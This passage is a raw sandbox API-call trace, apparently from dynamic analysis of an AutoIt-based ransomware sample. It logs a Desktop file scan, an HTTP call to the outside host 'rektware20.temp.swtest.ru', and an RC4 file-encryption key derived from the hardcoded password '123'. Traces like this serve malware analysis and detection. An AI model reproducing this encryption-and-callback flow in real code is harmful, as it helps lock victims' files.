cchCount2=3) returned 3 [0074.432] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Desktop\\0aY1SS.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.432] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="esktop\\0aY1SS.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.432] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sktop\\0aY1SS.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.432] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ktop\\0aY1SS.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.432] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="top\\0aY1SS.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.432] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="op\\0aY1SS.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.432] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="p\\0aY1SS.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.432] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\0aY1SS.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.433] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="0aY1SS.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.433] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="aY1SS.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.433] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Y1SS.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.433] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1SS.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.433] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SS.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.433] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="S.mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.433] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0074.433] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mp3", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0074.433] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0074.433] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0074.433] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0074.433] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0074.433] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0074.433] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0074.433] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0074.433] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0074.433] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620e20, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620e20, lpdwBufferLength=0x130ee1c) returned 1 [0074.433] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0074.433] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0074.433] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0074.434] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0074.434] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0074.434] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0074.434] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292c0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16292c0*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0074.434] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629400, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629400*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0074.434] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0074.434] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0074.434] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0074.434] CloseHandle (hObject=0x0) returned 0 [0074.434] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.434] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\0aY1SS.mp3", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cab0 [0074.434] FindClose (in: hFindFile=0x164cab0 | out: hFindFile=0x164cab0) returned 1 [0074.435] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.435] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0074.435] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.435] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0074.435] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0074.435] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.435] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0074.435] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.435] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.435] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0074.435] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0074.435] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0074.435] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.435] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.435] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.435] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0074.436] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.436] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0074.436] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e290, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0074.436] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0074.436] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0074.436] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e1b0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0074.436] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0074.436] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x1631bb0) returned 1 [0074.437] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.437] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.437] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0074.437] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0074.437] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0074.437] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.437] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.437] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.437] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0074.437] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0074.437] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0074.437] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0074.437] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.437] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.437] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.440] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0074.440] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.440] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.440] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0074.440] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.440] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0074.440] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0074.440] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.440] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.440] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0074.440] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0074.440] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0074.440] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0074.440] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.440] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.441] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.441] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0074.441] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0074.441] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0074.441] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.441] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0074.441] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621330, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0074.441] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0074.441] CryptCreateHash (in: hProv=0x1631bb0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0074.441] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.441] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.441] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.441] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.441] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0074.441] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16294a0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0074.441] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0074.442] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.442] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0074.442] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16294a0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0074.442] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.442] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.442] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0074.442] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.442] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0074.442] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621690, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0074.442] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0074.442] CryptHashData (hHash=0x164c7f0, pbData=0x1629500, dwDataLen=0x3, dwFlags=0x1) returned 1 [0074.442] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.442] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.442] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.442] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.442] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0074.442] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0074.443] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0074.443] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.443] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0074.443] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x16217c8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0074.443] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0074.443] CryptDeriveKey (in: hProv=0x1631bb0, Algid=0x6610, hBaseData=0x164c7f0, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c2f0) returned 1 [0074.443] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.443] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.443] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.443] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.443] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.443] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0074.443] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0074.443] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0074.443] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0074.443] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e030, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0074.444] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0074.444] CryptDestroyHash (hHash=0x164c7f0) returned 1 [0074.444] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0074.444] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.444] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.444] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.444] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.444] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\0aY1SS.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\0ay1ss.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d8 [0074.444] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.444] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0074.444] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.445] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0074.445] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 